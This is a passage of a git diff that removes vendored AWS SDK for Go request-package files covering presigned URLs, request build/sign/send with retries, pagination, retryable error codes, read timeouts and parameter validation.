be sent to -// the service API. -func (r *Request) SetBufferBody(buf []byte) { - r.SetReaderBody(bytes.NewReader(buf)) -} - -// SetStringBody sets the body of the request to be backed by a string. -func (r *Request) SetStringBody(s string) { - r.SetReaderBody(strings.NewReader(s)) -} - -// SetReaderBody will set the request's body reader. -func (r *Request) SetReaderBody(reader io.ReadSeeker) { - r.Body = reader - r.BodyStart, _ = reader.Seek(0, sdkio.SeekCurrent) // Get the Bodies current offset. - r.ResetBody() -} - -// Presign returns the request's signed URL. Error will be returned -// if the signing fails. The expire parameter is only used for presigned Amazon -// S3 API requests. All other AWS services will use a fixed expiration -// time of 15 minutes. -// -// It is invalid to create a presigned URL with a expire duration 0 or less. An -// error is returned if expire duration is 0 or less. -func (r *Request) Presign(expire time.Duration) (string, error) { - r = r.copy() - - // Presign requires all headers be hoisted. There is no way to retrieve - // the signed headers not hoisted without this. Making the presigned URL - // useless. - r.NotHoist = false - - u, _, err := getPresignedURL(r, expire) - return u, err -} - -// PresignRequest behaves just like presign, with the addition of returning a -// set of headers that were signed. The expire parameter is only used for -// presigned Amazon S3 API requests. All other AWS services will use a fixed -// expiration time of 15 minutes. -// -// It is invalid to create a presigned URL with a expire duration 0 or less. An -// error is returned if expire duration is 0 or less. -// -// Returns the URL string for the API operation with signature in the query string, -// and the HTTP headers that were included in the signature. These headers must -// be included in any HTTP request made with the presigned URL. -// -// To prevent hoisting any headers to the query string set NotHoist to true on -// this Request value prior to calling PresignRequest. -func (r *Request) PresignRequest(expire time.Duration) (string, http.Header, error) { - r = r.copy() - return getPresignedURL(r, expire) -} - -// IsPresigned returns true if the request represents a presigned API url. -func (r *Request) IsPresigned() bool { - return r.ExpireTime != 0 -} - -func getPresignedURL(r *Request, expire time.Duration) (string, http.Header, error) { - if expire <= 0 { - return "", nil, awserr.New( - ErrCodeInvalidPresignExpire, - "presigned URL requires an expire duration greater than 0", - nil, - ) - } - - r.ExpireTime = expire - - if r.Operation.BeforePresignFn != nil { - if err := r.Operation.BeforePresignFn(r); err != nil { - return "", nil, err - } - } - - if err := r.Sign(); err != nil { - return "", nil, err - } - - return r.HTTPRequest.URL.String(), r.SignedHeaderVals, nil -} - -func debugLogReqError(r *Request, stage string, retrying bool, err error) { - if !r.Config.LogLevel.Matches(aws.LogDebugWithRequestErrors) { - return - } - - retryStr := "not retrying" - if retrying { - retryStr = "will retry" - } - - r.Config.Logger.Log(fmt.Sprintf("DEBUG: %s %s/%s failed, %s, error %v", - stage, r.ClientInfo.ServiceName, r.Operation.Name, retryStr, err)) -} - -// Build will build the request's object so it can be signed and sent -// to the service. Build will also validate all the request's parameters. -// Any additional build Handlers set on this request will be run -// in the order they were set. -// -// The request will only be built once. Multiple calls to build will have -// no effect. -// -// If any Validate or Build errors occur the build will stop and the error -// which occurred will be returned. -func (r *Request) Build() error { - if !r.built { - r.Handlers.Validate.Run(r) - if r.Error != nil { - debugLogReqError(r, "Validate Request", false, r.Error) - return r.Error - } - r.Handlers.Build.Run(r) - if r.Error != nil { - debugLogReqError(r, "Build Request", false, r.Error) - return r.Error - } - r.built = true - } - - return r.Error -} - -// Sign will sign the request, returning error if errors are encountered. -// -// Sign will build the request prior to signing. All Sign Handlers will -// be executed in the order they were set. -func (r *Request) Sign() error { - r.Build() - if r.Error != nil { - debugLogReqError(r, "Build Request", false, r.Error) - return r.Error - } - - r.Handlers.Sign.Run(r) - return r.Error -} - -func (r *Request) getNextRequestBody() (io.ReadCloser, error) { - if r.safeBody != nil { - r.safeBody.Close() - } - - r.safeBody = newOffsetReader(r.Body, r.BodyStart) - - // Go 1.8 tightened and clarified the rules code needs to use when building - // requests with the http package. Go 1.8 removed the automatic detection - // of if the Request.Body was empty, or actually had bytes in it. The SDK - // always sets the Request.Body even if it is empty and should not actually - // be sent. This is incorrect. - // - // Go 1.8 did add a http.NoBody value that the SDK can use to tell the http - // client that the request really should be sent without a body. The - // Request.Body cannot be set to nil, which is preferable, because the - // field is exported and could introduce nil pointer dereferences for users - // of the SDK if they used that field. - // - // Related golang/go#18257 - l, err := aws.SeekerLen(r.Body) - if err != nil { - return nil, awserr.New(ErrCodeSerialization, "failed to compute request body size", err) - } - - var body io.ReadCloser - if l == 0 { - body = NoBody - } else if l > 0 { - body = r.safeBody - } else { - // Hack to prevent sending bodies for methods where the body - // should be ignored by the server. Sending bodies on these - // methods without an associated ContentLength will cause the - // request to socket timeout because the server does not handle - // Transfer-Encoding: chunked bodies for these methods. - // - // This would only happen if a aws.ReaderSeekerCloser was used with - // a io.Reader that was not also an io.Seeker, or did not implement - // Len() method. - switch r.Operation.HTTPMethod { - case "GET", "HEAD", "DELETE": - body = NoBody - default: - body = r.safeBody - } - } - - return body, nil -} - -// GetBody will return an io.ReadSeeker of the Request's underlying -// input body with a concurrency safe wrapper. -func (r *Request) GetBody() io.ReadSeeker { - return r.safeBody -} - -// Send will send the request, returning error if errors are encountered. -// -// Send will sign the request prior to sending. All Send Handlers will -// be executed in the order they were set. -// -// Canceling a request is non-deterministic. If a request has been canceled, -// then the transport will choose, randomly, one of the state channels during -// reads or getting the connection. -// -// readLoop() and getConn(req *Request, cm connectMethod) -// https://github.com/golang/go/blob/master/src/net/http/transport.go -// -// Send will not close the request.Request's body. -func (r *Request) Send() error { - defer func() { - // Regardless of success or failure of the request trigger the Complete - // request handlers. - r.Handlers.Complete.Run(r) - }() - - if err := r.Error; err != nil { - return err - } - - for { - r.Error = nil - r.AttemptTime = time.Now() - - if err := r.Sign(); err != nil { - debugLogReqError(r, "Sign Request", false, err) - return err - } - - if err := r.sendRequest(); err == nil { - return nil - } else if !shouldRetryCancel(r.Error) { - return err - } else { - r.Handlers.Retry.Run(r) - r.Handlers.AfterRetry.Run(r) - - if r.Error != nil || !aws.BoolValue(r.Retryable) { - return r.Error - } - - r.prepareRetry() - continue - } - } -} - -func (r *Request) prepareRetry() { - if r.Config.LogLevel.Matches(aws.LogDebugWithRequestRetries) { - r.Config.Logger.Log(fmt.Sprintf("DEBUG: Retrying Request %s/%s, attempt %d", - r.ClientInfo.ServiceName, r.Operation.Name, r.RetryCount)) - } - - // The previous http.Request will have a reference to the r.Body - // and the HTTP Client's Transport may still be reading from - // the request's body even though the Client's Do returned. - r.HTTPRequest = copyHTTPRequest(r.HTTPRequest, nil) - r.ResetBody() - - // Closing response body to ensure that no response body is leaked - // between retry attempts. - if r.HTTPResponse != nil && r.HTTPResponse.Body != nil { - r.HTTPResponse.Body.Close() - } -} - -func (r *Request) sendRequest() (sendErr error) { - defer r.Handlers.CompleteAttempt.Run(r) - - r.Retryable = nil - r.Handlers.Send.Run(r) - if r.Error != nil { - debugLogReqError(r, "Send Request", r.WillRetry(), r.Error) - return r.Error - } - - r.Handlers.UnmarshalMeta.Run(r) - r.Handlers.ValidateResponse.Run(r) - if r.Error != nil { - r.Handlers.UnmarshalError.Run(r) - debugLogReqError(r, "Validate Response", r.WillRetry(), r.Error) - return r.Error - } - - r.Handlers.Unmarshal.Run(r) - if r.Error != nil { - debugLogReqError(r, "Unmarshal Response", r.WillRetry(), r.Error) - return r.Error - } - - return nil -} - -// copy will copy a request which will allow for local manipulation of the -// request. -func (r *Request) copy() *Request { - req := &Request{} - *req = *r - req.Handlers = r.Handlers.Copy() - op := *r.Operation - req.Operation = &op - return req -} - -// AddToUserAgent adds the string to the end of the request's current user agent. -func AddToUserAgent(r *Request, s string) { - curUA := r.HTTPRequest.Header.Get("User-Agent") - if len(curUA) > 0 { - s = curUA + " " + s - } - r.HTTPRequest.Header.Set("User-Agent", s) -} - -type temporary interface { - Temporary() bool -} - -func shouldRetryCancel(err error) bool { - switch err := err.(type) { - case awserr.Error: - if err.Code() == CanceledErrorCode { - return false - } - return shouldRetryCancel(err.OrigErr()) - case *url.Error: - if strings.Contains(err.Error(), "connection refused") { - // Refused connections should be retried as the service may not yet - // be running on the port. Go TCP dial considers refused - // connections as not temporary. - return true - } - // *url.Error only implements Temporary after golang 1.6 but since - // url.Error only wraps the error: - return shouldRetryCancel(err.Err) - case temporary: - // If the error is temporary, we want to allow continuation of the - // retry process - return err.Temporary() - case nil: - // `awserr.Error.OrigErr()` can be nil, meaning there was an error but - // because we don't know the cause, it is marked as retriable. See - // TestRequest4xxUnretryable for an example. - return true - default: - switch err.Error() { - case "net/http: request canceled", - "net/http: request canceled while waiting for connection": - // known 1.5 error case when an http request is cancelled - return false - } - // here we don't know the error; so we allow a retry. - return true - } -} - -// SanitizeHostForHeader removes default port from host and updates request.Host -func SanitizeHostForHeader(r *http.Request) { - host := getHost(r) - port := portOnly(host) - if port != "" && isDefaultPort(r.URL.Scheme, port) { - r.Host = stripPort(host) - } -} - -// Returns host from request -func getHost(r *http.Request) string { - if r.Host != "" { - return r.Host - } - - return r.URL.Host -} - -// Hostname returns u.Host, without any port number. -// -// If Host is an IPv6 literal with a port number, Hostname returns the -// IPv6 literal without the square brackets. IPv6 literals may include -// a zone identifier. -// -// Copied from the Go 1.8 standard library (net/url) -func stripPort(hostport string) string { - colon := strings.IndexByte(hostport, ':') - if colon == -1 { - return hostport - } - if i := strings.IndexByte(hostport, ']'); i != -1 { - return strings.TrimPrefix(hostport[:i], "[") - } - return hostport[:colon] -} - -// Port returns the port part of u.Host, without the leading colon. -// If u.Host doesn't contain a port, Port returns an empty string. -// -// Copied from the Go 1.8 standard library (net/url) -func portOnly(hostport string) string { - colon := strings.IndexByte(hostport, ':') - if colon == -1 { - return "" - } - if i := strings.Index(hostport, "]:"); i != -1 { - return hostport[i+len("]:"):] - } - if strings.Contains(hostport, "]") { - return "" - } - return hostport[colon+len(":"):] -} - -// Returns true if the specified URI is using the standard port -// (i.e. port 80 for HTTP URIs or 443 for HTTPS URIs) -func isDefaultPort(scheme, port string) bool { - if port == "" { - return true - } - - lowerCaseScheme := strings.ToLower(scheme) - if (lowerCaseScheme == "http" && port == "80") || (lowerCaseScheme == "https" && port == "443") { - return true - } - - return false -} diff --git a/vendor/github.com/aws/aws-sdk-go/aws/request/request_1_7.go b/vendor/github.com/aws/aws-sdk-go/aws/request/request_1_7.go deleted file mode 100644 index e36e468b7c..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/aws/request/request_1_7.go +++ /dev/null @@ -1,39 +0,0 @@ -// +build !go1.8 - -package request - -import "io" - -// NoBody is an io.ReadCloser with no bytes. Read always returns EOF -// and Close always returns nil. It can be used in an outgoing client -// request to explicitly signal that a request has zero bytes. -// An alternative, however, is to simply set Request.Body to nil. -// -// Copy of Go 1.8 NoBody type from net/http/http.go -type noBody struct{} - -func (noBody) Read([]byte) (int, error) { return 0, io.EOF } -func (noBody) Close() error { return nil } -func (noBody) WriteTo(io.Writer) (int64, error) { return 0, nil } - -// NoBody is an empty reader that will trigger the Go HTTP client to not include -// and body in the HTTP request. -var NoBody = noBody{} - -// ResetBody rewinds the request body back to its starting position, and -// sets the HTTP Request body reference. When the body is read prior -// to being sent in the HTTP request it will need to be rewound. -// -// ResetBody will automatically be called by the SDK's build handler, but if -// the request is being used directly ResetBody must be called before the request -// is Sent. SetStringBody, SetBufferBody, and SetReaderBody will automatically -// call ResetBody. -func (r *Request) ResetBody() { - body, err := r.getNextRequestBody() - if err != nil { - r.Error = err - return - } - - r.HTTPRequest.Body = body -} diff --git a/vendor/github.com/aws/aws-sdk-go/aws/request/request_1_8.go b/vendor/github.com/aws/aws-sdk-go/aws/request/request_1_8.go deleted file mode 100644 index 7c6a8000f6..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/aws/request/request_1_8.go +++ /dev/null @@ -1,33 +0,0 @@ -// +build go1.8 - -package request - -import ( - "net/http" -) - -// NoBody is a http.NoBody reader instructing Go HTTP client to not include -// and body in the HTTP request. -var NoBody = http.NoBody - -// ResetBody rewinds the request body back to its starting position, and -// sets the HTTP Request body reference. When the body is read prior -// to being sent in the HTTP request it will need to be rewound. -// -// ResetBody will automatically be called by the SDK's build handler, but if -// the request is being used directly ResetBody must be called before the request -// is Sent. SetStringBody, SetBufferBody, and SetReaderBody will automatically -// call ResetBody. -// -// Will also set the Go 1.8's http.Request.GetBody member to allow retrying -// PUT/POST redirects. -func (r *Request) ResetBody() { - body, err := r.getNextRequestBody() - if err != nil { - r.Error = err - return - } - - r.HTTPRequest.Body = body - r.HTTPRequest.GetBody = r.getNextRequestBody -} diff --git a/vendor/github.com/aws/aws-sdk-go/aws/request/request_context.go b/vendor/github.com/aws/aws-sdk-go/aws/request/request_context.go deleted file mode 100644 index a7365cd1e4..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/aws/request/request_context.go +++ /dev/null @@ -1,14 +0,0 @@ -// +build go1.7 - -package request - -import "github.com/aws/aws-sdk-go/aws" - -// setContext updates the Request to use the passed in context for cancellation. -// Context will also be used for request retry delay. -// -// Creates shallow copy of the http.Request with the WithContext method. -func setRequestContext(r *Request, ctx aws.Context) { - r.context = ctx - r.HTTPRequest = r.HTTPRequest.WithContext(ctx) -} diff --git a/vendor/github.com/aws/aws-sdk-go/aws/request/request_context_1_6.go b/vendor/github.com/aws/aws-sdk-go/aws/request/request_context_1_6.go deleted file mode 100644 index 307fa0705b..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/aws/request/request_context_1_6.go +++ /dev/null @@ -1,14 +0,0 @@ -// +build !go1.7 - -package request - -import "github.com/aws/aws-sdk-go/aws" - -// setContext updates the Request to use the passed in context for cancellation. -// Context will also be used for request retry delay. -// -// Creates shallow copy of the http.Request with the WithContext method. -func setRequestContext(r *Request, ctx aws.Context) { - r.context = ctx - r.HTTPRequest.Cancel = ctx.Done() -} diff --git a/vendor/github.com/aws/aws-sdk-go/aws/request/request_pagination.go b/vendor/github.com/aws/aws-sdk-go/aws/request/request_pagination.go deleted file mode 100644 index a633ed5acf..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/aws/request/request_pagination.go +++ /dev/null @@ -1,264 +0,0 @@ -package request - -import ( - "reflect" - "sync/atomic" - - "github.com/aws/aws-sdk-go/aws" - "github.com/aws/aws-sdk-go/aws/awsutil" -) - -// A Pagination provides paginating of SDK API operations which are paginatable. -// Generally you should not use this type directly, but use the "Pages" API -// operations method to automatically perform pagination for you. Such as, -// "S3.ListObjectsPages", and "S3.ListObjectsPagesWithContext" methods. -// -// Pagination differs from a Paginator type in that pagination is the type that -// does the pagination between API operations, and Paginator defines the -// configuration that will be used per page request. -// -// cont := true -// for p.Next() && cont { -// data := p.Page().(*s3.ListObjectsOutput) -// // process the page's data -// } -// return p.Err() -// -// See service client API operation Pages methods for examples how the SDK will -// use the Pagination type. -type Pagination struct { - // Function to return a Request value for each pagination request. - // Any configuration or handlers that need to be applied to the request - // prior to getting the next page should be done here before the request - // returned. - // - // NewRequest should always be built from the same API operations. It is - // undefined if different API operations are returned on subsequent calls. - NewRequest func() (*Request, error) - // EndPageOnSameToken, when enabled, will allow the paginator to stop on - // token that are the same as its previous tokens. - EndPageOnSameToken bool - - started bool - prevTokens []interface{} - nextTokens []interface{} - - err error - curPage interface{} -} - -// HasNextPage will return true if Pagination is able to determine that the API -// operation has additional pages. False will be returned if there are no more -// pages remaining. -// -// Will always return true if Next has not been called yet. -func (p *Pagination) HasNextPage() bool { - if !p.started { - return true - } - - hasNextPage := len(p.nextTokens) != 0 - if p.EndPageOnSameToken { - return hasNextPage && !awsutil.DeepEqual(p.nextTokens, p.prevTokens) - } - return hasNextPage -} - -// Err returns the error Pagination encountered when retrieving the next page. -func (p *Pagination) Err() error { - return p.err -} - -// Page returns the current page. Page should only be called after a successful -// call to Next. It is undefined what Page will return if Page is called after -// Next returns false. -func (p *Pagination) Page() interface{} { - return p.curPage -} - -// Next will attempt to retrieve the next page for the API operation. When a page -// is retrieved true will be returned. If the page cannot be retrieved, or there -// are no more pages false will be returned. -// -// Use the Page method to retrieve the current page data. The data will need -// to be cast to the API operation's output type. -// -// Use the Err method to determine if an error occurred if Page returns false. -func (p *Pagination) Next() bool { - if !p.HasNextPage() { - return false - } - - req, err := p.NewRequest() - if err != nil { - p.err = err - return false - } - - if p.started { - for i, intok := range req.Operation.InputTokens { - awsutil.SetValueAtPath(req.Params, intok, p.nextTokens[i]) - } - } - p.started = true - - err = req.Send() - if err != nil { - p.err = err - return false - } - - p.prevTokens = p.nextTokens - p.nextTokens = req.nextPageTokens() - p.curPage = req.Data - - return true -} - -// A Paginator is the configuration data that defines how an API operation -// should be paginated. This type is used by the API service models to define -// the generated pagination config for service APIs. -// -// The Pagination type is what provides iterating between pages of an API. It -// is only used to store the token metadata the SDK should use for performing -// pagination. -type Paginator struct { - InputTokens []string - OutputTokens []string - LimitToken string - TruncationToken string -} - -// nextPageTokens returns the tokens to use when asking for the next page of data. -func (r *Request) nextPageTokens() []interface{} { - if r.Operation.Paginator == nil { - return nil - } - if r.Operation.TruncationToken != "" { - tr, _ := awsutil.ValuesAtPath(r.Data, r.Operation.TruncationToken) - if len(tr) == 0 { - return nil - } - - switch v := tr[0].(type) { - case *bool: - if !aws.BoolValue(v) { - return nil - } - case bool: - if v == false { - return nil - } - } - } - - tokens := []interface{}{} - tokenAdded := false - for _, outToken := range r.Operation.OutputTokens { - vs, _ := awsutil.ValuesAtPath(r.Data, outToken) - if len(vs) == 0 { - tokens = append(tokens, nil) - continue - } - v := vs[0] - - switch tv := v.(type) { - case *string: - if len(aws.StringValue(tv)) == 0 { - tokens = append(tokens, nil) - continue - } - case string: - if len(tv) == 0 { - tokens = append(tokens, nil) - continue - } - } - - tokenAdded = true - tokens = append(tokens, v) - } - if !tokenAdded { - return nil - } - - return tokens -} - -// Ensure a deprecated item is only logged once instead of each time its used. -func logDeprecatedf(logger aws.Logger, flag *int32, msg string) { - if logger == nil { - return - } - if atomic.CompareAndSwapInt32(flag, 0, 1) { - logger.Log(msg) - } -} - -var ( - logDeprecatedHasNextPage int32 - logDeprecatedNextPage int32 - logDeprecatedEachPage int32 -) - -// HasNextPage returns true if this request has more pages of data available. -// -// Deprecated Use Pagination type for configurable pagination of API operations -func (r *Request) HasNextPage() bool { - logDeprecatedf(r.Config.Logger, &logDeprecatedHasNextPage, - "Request.HasNextPage deprecated. Use Pagination type for configurable pagination of API operations") - - return len(r.nextPageTokens()) > 0 -} - -// NextPage returns a new Request that can be executed to return the next -// page of result data. Call .Send() on this request to execute it. -// -// Deprecated Use Pagination type for configurable pagination of API operations -func (r *Request) NextPage() *Request { - logDeprecatedf(r.Config.Logger, &logDeprecatedNextPage, - "Request.NextPage deprecated. Use Pagination type for configurable pagination of API operations") - - tokens := r.nextPageTokens() - if len(tokens) == 0 { - return nil - } - - data := reflect.New(reflect.TypeOf(r.Data).Elem()).Interface() - nr := New(r.Config, r.ClientInfo, r.Handlers, r.Retryer, r.Operation, awsutil.CopyOf(r.Params), data) - for i, intok := range nr.Operation.InputTokens { - awsutil.SetValueAtPath(nr.Params, intok, tokens[i]) - } - return nr -} - -// EachPage iterates over each page of a paginated request object. The fn -// parameter should be a function with the following sample signature: -// -// func(page *T, lastPage bool) bool { -// return true // return false to stop iterating -// } -// -// Where "T" is the structure type matching the output structure of the given -// operation. For example, a request object generated by -// DynamoDB.ListTablesRequest() would expect to see dynamodb.ListTablesOutput -// as the structure "T". The lastPage value represents whether the page is -// the last page of data or not. The return value of this function should -// return true to keep iterating or false to stop. -// -// Deprecated Use Pagination type for configurable pagination of API operations -func (r *Request) EachPage(fn func(data interface{}, isLastPage bool) (shouldContinue bool)) error { - logDeprecatedf(r.Config.Logger, &logDeprecatedEachPage, - "Request.EachPage deprecated. Use Pagination type for configurable pagination of API operations") - - for page := r; page != nil; page = page.NextPage() { - if err := page.Send(); err != nil { - return err - } - if getNextPage := fn(page.Data, !page.HasNextPage()); !getNextPage { - return page.Error - } - } - - return nil -} diff --git a/vendor/github.com/aws/aws-sdk-go/aws/request/retryer.go b/vendor/github.com/aws/aws-sdk-go/aws/request/retryer.go deleted file mode 100644 index 7bc5da7826..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/aws/request/retryer.go +++ /dev/null @@ -1,162 +0,0 @@ -package request - -import ( - "time" - - "github.com/aws/aws-sdk-go/aws" - "github.com/aws/aws-sdk-go/aws/awserr" -) - -// Retryer is an interface to control retry logic for a given service. -// The default implementation used by most services is the client.DefaultRetryer -// structure, which contains basic retry logic using exponential backoff. -type Retryer interface { - RetryRules(*Request) time.Duration - ShouldRetry(*Request) bool - MaxRetries() int -} - -// WithRetryer sets a config Retryer value to the given Config returning it -// for chaining. -func WithRetryer(cfg *aws.Config, retryer Retryer) *aws.Config { - cfg.Retryer = retryer - return cfg -} - -// retryableCodes is a collection of service response codes which are retry-able -// without any further action. -var retryableCodes = map[string]struct{}{ - "RequestError": {}, - "RequestTimeout": {}, - ErrCodeResponseTimeout: {}, - "RequestTimeoutException": {}, // Glacier's flavor of RequestTimeout -} - -var throttleCodes = map[string]struct{}{ - "ProvisionedThroughputExceededException": {}, - "Throttling": {}, - "ThrottlingException": {}, - "RequestLimitExceeded": {}, - "RequestThrottled": {}, - "TooManyRequestsException": {}, // Lambda functions - "PriorRequestNotComplete": {}, // Route53 - "TransactionInProgressException": {}, -} - -// credsExpiredCodes is a collection of error codes which signify the credentials -// need to be refreshed. Expired tokens require refreshing of credentials, and -// resigning before the request can be retried. -var credsExpiredCodes = map[string]struct{}{ - "ExpiredToken": {}, - "ExpiredTokenException": {}, - "RequestExpired": {}, // EC2 Only -} - -func isCodeThrottle(code string) bool { - _, ok := throttleCodes[code] - return ok -} - -func isCodeRetryable(code string) bool { - if _, ok := retryableCodes[code]; ok { - return true - } - - return isCodeExpiredCreds(code) -} - -func isCodeExpiredCreds(code string) bool { - _, ok := credsExpiredCodes[code] - return ok -} - -var validParentCodes = map[string]struct{}{ - ErrCodeSerialization: {}, - ErrCodeRead: {}, -} - -type temporaryError interface { - Temporary() bool -} - -func isNestedErrorRetryable(parentErr awserr.Error) bool { - if parentErr == nil { - return false - } - - if _, ok := validParentCodes[parentErr.Code()]; !ok { - return false - } - - err := parentErr.OrigErr() - if err == nil { - return false - } - - if aerr, ok := err.(awserr.Error); ok { - return isCodeRetryable(aerr.Code()) - } - - if t, ok := err.(temporaryError); ok { - return t.Temporary() || isErrConnectionReset(err) - } - - return isErrConnectionReset(err) -} - -// IsErrorRetryable returns whether the error is retryable, based on its Code. -// Returns false if error is nil. -func IsErrorRetryable(err error) bool { - if err != nil { - if aerr, ok := err.(awserr.Error); ok { - return isCodeRetryable(aerr.Code()) || isNestedErrorRetryable(aerr) - } - } - return false -} - -// IsErrorThrottle returns whether the error is to be throttled based on its code. -// Returns false if error is nil. -func IsErrorThrottle(err error) bool { - if err != nil { - if aerr, ok := err.(awserr.Error); ok { - return isCodeThrottle(aerr.Code()) - } - } - return false -} - -// IsErrorExpiredCreds returns whether the error code is a credential expiry error. -// Returns false if error is nil. -func IsErrorExpiredCreds(err error) bool { - if err != nil { - if aerr, ok := err.(awserr.Error); ok { - return isCodeExpiredCreds(aerr.Code()) - } - } - return false -} - -// IsErrorRetryable returns whether the error is retryable, based on its Code. -// Returns false if the request has no Error set. -// -// Alias for the utility function IsErrorRetryable -func (r *Request) IsErrorRetryable() bool { - return IsErrorRetryable(r.Error) -} - -// IsErrorThrottle returns whether the error is to be throttled based on its code. -// Returns false if the request has no Error set -// -// Alias for the utility function IsErrorThrottle -func (r *Request) IsErrorThrottle() bool { - return IsErrorThrottle(r.Error) -} - -// IsErrorExpired returns whether the error code is a credential expiry error. -// Returns false if the request has no Error set. -// -// Alias for the utility function IsErrorExpiredCreds -func (r *Request) IsErrorExpired() bool { - return IsErrorExpiredCreds(r.Error) -} diff --git a/vendor/github.com/aws/aws-sdk-go/aws/request/timeout_read_closer.go b/vendor/github.com/aws/aws-sdk-go/aws/request/timeout_read_closer.go deleted file mode 100644 index 09a44eb987..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/aws/request/timeout_read_closer.go +++ /dev/null @@ -1,94 +0,0 @@ -package request - -import ( - "io" - "time" - - "github.com/aws/aws-sdk-go/aws/awserr" -) - -var timeoutErr = awserr.New( - ErrCodeResponseTimeout, - "read on body has reached the timeout limit", - nil, -) - -type readResult struct { - n int - err error -} - -// timeoutReadCloser will handle body reads that take too long. -// We will return a ErrReadTimeout error if a timeout occurs. -type timeoutReadCloser struct { - reader io.ReadCloser - duration time.Duration -} - -// Read will spin off a goroutine to call the reader's Read method. We will -// select on the timer's channel or the read's channel. Whoever completes first -// will be returned. -func (r *timeoutReadCloser) Read(b []byte) (int, error) { - timer := time.NewTimer(r.duration) - c := make(chan readResult, 1) - - go func() { - n, err := r.reader.Read(b) - timer.Stop() - c <- readResult{n: n, err: err} - }() - - select { - case data := <-c: - return data.n, data.err - case <-timer.C: - return 0, timeoutErr - } -} - -func (r *timeoutReadCloser) Close() error { - return r.reader.Close() -} - -const ( - // HandlerResponseTimeout is what we use to signify the name of the - // response timeout handler. - HandlerResponseTimeout = "ResponseTimeoutHandler" -) - -// adaptToResponseTimeoutError is a handler that will replace any top level error -// to a ErrCodeResponseTimeout, if its child is that. -func adaptToResponseTimeoutError(req *Request) { - if err, ok := req.Error.(awserr.Error); ok { - aerr, ok := err.OrigErr().(awserr.Error) - if ok && aerr.Code() == ErrCodeResponseTimeout { - req.Error = aerr - } - } -} - -// WithResponseReadTimeout is a request option that will wrap the body in a timeout read closer. -// This will allow for per read timeouts. If a timeout occurred, we will return the -// ErrCodeResponseTimeout. -// -// svc.PutObjectWithContext(ctx, params, request.WithTimeoutReadCloser(30 * time.Second) -func WithResponseReadTimeout(duration time.Duration) Option { - return func(r *Request) { - - var timeoutHandler = NamedHandler{ - HandlerResponseTimeout, - func(req *Request) { - req.HTTPResponse.Body = &timeoutReadCloser{ - reader: req.HTTPResponse.Body, - duration: duration, - } - }} - - // remove the handler so we are not stomping over any new durations. - r.Handlers.Send.RemoveByName(HandlerResponseTimeout) - r.Handlers.Send.PushBackNamed(timeoutHandler) - - r.Handlers.Unmarshal.PushBack(adaptToResponseTimeoutError) - r.Handlers.UnmarshalError.PushBack(adaptToResponseTimeoutError) - } -} diff --git a/vendor/github.com/aws/aws-sdk-go/aws/request/validation.go b/vendor/github.com/aws/aws-sdk-go/aws/request/validation.go deleted file mode 100644 index 8630683f31..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/aws/request/validation.go +++ /dev/null @@ -1,286 +0,0 @@ -package request - -import ( - "bytes" - "fmt" - - "github.com/aws/aws-sdk-go/aws/awserr" -) - -const ( - // InvalidParameterErrCode is the error code for invalid parameters errors - InvalidParameterErrCode = "InvalidParameter" - // ParamRequiredErrCode is the error code for required parameter errors - ParamRequiredErrCode = "ParamRequiredError" - // ParamMinValueErrCode is the error code for fields with too low of a - // number value. - ParamMinValueErrCode = "ParamMinValueError" - // ParamMinLenErrCode is the error code for fields without enough elements. - ParamMinLenErrCode = "ParamMinLenError" - // ParamMaxLenErrCode is the error code for value being too long. - ParamMaxLenErrCode = "ParamMaxLenError" - - // ParamFormatErrCode is the error code for a field with invalid - // format or characters. - ParamFormatErrCode = "ParamFormatInvalidError" -) - -// Validator provides a way for types to perform validation logic on their -// input values that external code can use to determine if a type's values -// are valid. -type Validator interface { - Validate() error -} - -// An ErrInvalidParams provides wrapping of invalid parameter errors found when -// validating API operation input parameters. -type ErrInvalidParams struct { - // Context is the base context of the invalid parameter group. - Context string - errs []ErrInvalidParam -} - -// Add adds a new invalid parameter error to the collection of invalid -// parameters. The context of the invalid parameter will be updated to reflect -// this collection. -func (e *ErrInvalidParams) Add(err ErrInvalidParam) { - err.SetContext(e.Context) - e.errs = append(e.errs, err) -} - -// AddNested adds the invalid parameter errors from another ErrInvalidParams -// value into this collection. The nested errors will have their nested context -// updated and base context to reflect the merging. -// -// Use for nested validations errors. -func (e *ErrInvalidParams) AddNested(nestedCtx string, nested ErrInvalidParams) { - for _, err := range nested.errs { - err.SetContext(e.Context) - err.AddNestedContext(nestedCtx) - e.errs = append(e.errs, err) - } -} - -// Len returns the number of invalid parameter errors -func (e ErrInvalidParams) Len() int { - return len(e.errs) -} - -// Code returns the code of the error -func (e ErrInvalidParams) Code() string { - return InvalidParameterErrCode -} - -// Message returns the message of the error -func (e ErrInvalidParams) Message() string { - return fmt.Sprintf("%d validation error(s) found.", len(e.errs)) -} - -// Error returns the string formatted form of the invalid parameters. -func (e ErrInvalidParams) Error() string { - w := &bytes.Buffer{} - fmt.Fprintf(w, "%s: %s\n", e.Code(), e.Message()) - - for _, err := range e.errs { - fmt.Fprintf(w, "- %s\n", err.Message()) - } - - return w.String() -} - -// OrigErr returns the invalid parameters as a awserr.BatchedErrors value -func (e ErrInvalidParams) OrigErr() error { - return awserr.NewBatchError( - InvalidParameterErrCode, e.Message(), e.OrigErrs()) -} - -// OrigErrs returns a slice of the invalid parameters -func (e ErrInvalidParams) OrigErrs() []error { - errs := make([]error, len(e.errs)) - for i := 0; i < len(errs); i++ { - errs[i] = e.errs[i] - } - - return errs -} - -// An ErrInvalidParam represents an invalid parameter error type. -type ErrInvalidParam interface { - awserr.Error - - // Field name the error occurred on. - Field() string - - // SetContext updates the context of the error. - SetContext(string) - - // AddNestedContext updates the error's context to include a nested level. - AddNestedContext(string) -} - -type errInvalidParam struct { - context string - nestedContext string - field string - code string - msg string -} - -// Code returns the error code for the type of invalid parameter. -func (e *errInvalidParam) Code() string { - return e.code -} - -// Message returns the reason the parameter was invalid, and its context. -func (e *errInvalidParam) Message() string { - return fmt.Sprintf("%s, %s.", e.msg, e.Field()) -} - -// Error returns the string version of the invalid parameter error. -func (e *errInvalidParam) Error() string { - return fmt.Sprintf("%s: %s", e.code, e.Message()) -} - -// OrigErr returns nil, Implemented for awserr.Error interface. -func (e *errInvalidParam) OrigErr() error { - return nil -} - -// Field Returns the field and context the error occurred. 